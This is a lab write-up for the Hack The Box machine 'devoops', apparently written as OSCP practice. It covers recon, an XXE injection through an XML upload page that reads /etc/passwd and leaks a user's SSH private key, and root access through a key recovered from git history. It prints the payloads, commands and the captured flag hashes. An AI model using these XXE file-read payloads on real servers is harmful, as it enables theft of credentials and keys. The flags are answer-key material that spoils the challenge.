Linux Boxes

devoops

  1. nmapAutomator.sh
    1. recon
      1. gobuster
      2. nikto
  2. http (port 5000) gunicorn
    1. /feed
    2. /upload
      1. test.xml
  3. XML XXE Injection foothold
    1. payloadallthethings XXE
    2. /etc/password
    3. leak user.txt
    4. /.ssh/id_rsa
    5. ssh login
  4. privesc
    1. LinEnum.sh
    2. roosa bash_history
    3. git log
      1. "reverted accidental commit " log
      2. git show
        1. unknown id_rsa
    4. ssh to root
  5. user/root
  6. lessons learned

devoops

images/1421-1.pngs
images/1421-2.png

nmapAutomator.sh

images/1422-1.png
images/1422-2.png
images/1422-3.png


recon

gobuster
nikto

gobuster

images/1424-1.png

/feed
/upload

nikto

images/1426-1.png

http (port 5000) gunicorn

todo is worth noting
dev.solita.fi
images/1425-1.png

service is gunicorn, a python web server
images/1425-2.png

/feed

allthough this page looks like a webpage written in html, its just a picture
images/1427-1.png

/upload

might be able to upload a webshell here, lets check it out
images/1428-1.png

test.xml

XML note in the upload page, lets try uploading a test.xml file

images/1429-1.png
the webpage is mentioning an Author, Subject and Content field in its BLOGPOST note, lets write an xml file that contain those parameters


<?xml version="1.0"?>
<test>
<Author>test</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>

images/1429-2.pngimages/1429-3.png

XML XXE Injection foothold

images/1431-1.png

payloadallthethings XXE

Check out payloadallthethings github link here

images/1432-1.png


images/1432-2.png
images/1432-3.png
<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY example “Doe”>]>
<test>
<Author>test</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>


images/1432-4.pngimages/1432-5.png


since the author entity is replaced with the string “Doe” we know our
XXE exploit is working as intended, lets see if we can leak some sensitive files next...

/etc/password

images/1433-1.png
applying this vulnerability to our existing exploit we just have to update the DOCTYPE variable:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM ‘file:///etc/passwd’>]>
<test>
<Author>test</Author>
<Subject>test</Subject>
<Content>test</Content>
</test>


images/1433-2.pngimages/1433-3.png

the server response leaks /etc/passwd!
further enumerating the server response shows us theres a user by the name of roosa

leak user.txt

we can leak user.txt by setting the system call's file to point towards /home/roosa/user.txt
images/1434-1.png

/.ssh/id_rsa

lets see if we can leak the ssh key by guessing to see if roosa has an id_rsa file in her the .ssh folder of her directory
images/1435-1.png

we have roosa's private key!
now we take that and save it to a file
id_rsa and give it proper permissions

images/1435-2.png
images/1435-3.png




ssh login

we can log into roosa's account with the rsa key we leaked from the XXE Entity attack

images/1437-1.png

privesc

LinEnum.sh

LinEnum.sh

images/1439-1.png



images/1439-2.png

images/1439-3.png

roosa bash_history

we see there is a comment in roosa's bash_history log that notes a git upload footnote denotring that there was an accidental key commit that needed to be replaced, could that be root's private key?

images/1440-1.png

git log

to look at the server's git hub upload history, use
git log

images/1441-1.png
images/1441-2.png

"reverted accidental commit " log

We found the commit ID that pertains to the note we saw ealier in roosa's bash_history, we can print the outputs of this commit with the ID

images/1442-1.png

33e87c312c08735a02fa9c796021a4a3023129ad

git show

to show the contents of the commit, use
git show 33e87c312c08735a02fa9c796021a4a3023129ad
images/1445-1.png
images/1445-2.png
images/1445-3.png

lets paste it on our local machine and give it proper privileges
images/1445-4.png
images/1445-5.png

unknown id_rsa

images/1446-1.png
troublesome ‘-’'s begin every line, use :%s/-//g to globally replace all of them
where
:%s/ starts the replacement statement
/-// replaces - with nothing
g is to issue the command globally
images/1446-2.png

images/1446-3.png

/%s\-/ /g to remove all the dashes but don't use that here because itll mess with the BEGIN and END header and footer

ssh to root

ssh -i unknown_id_rsa 10.10.10.91
images/1447-1.png

user/root

images/1444-1.png
c5808e1643e801d40f09ed87cdecc67b

images/1444-2.png
d4fe1e7f7187407eebdd3209cb1ac7b3

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/1448-1.png
https://docs.github.com/en/github/authenticating-to-github/removing-sensitive-data-from-a-repository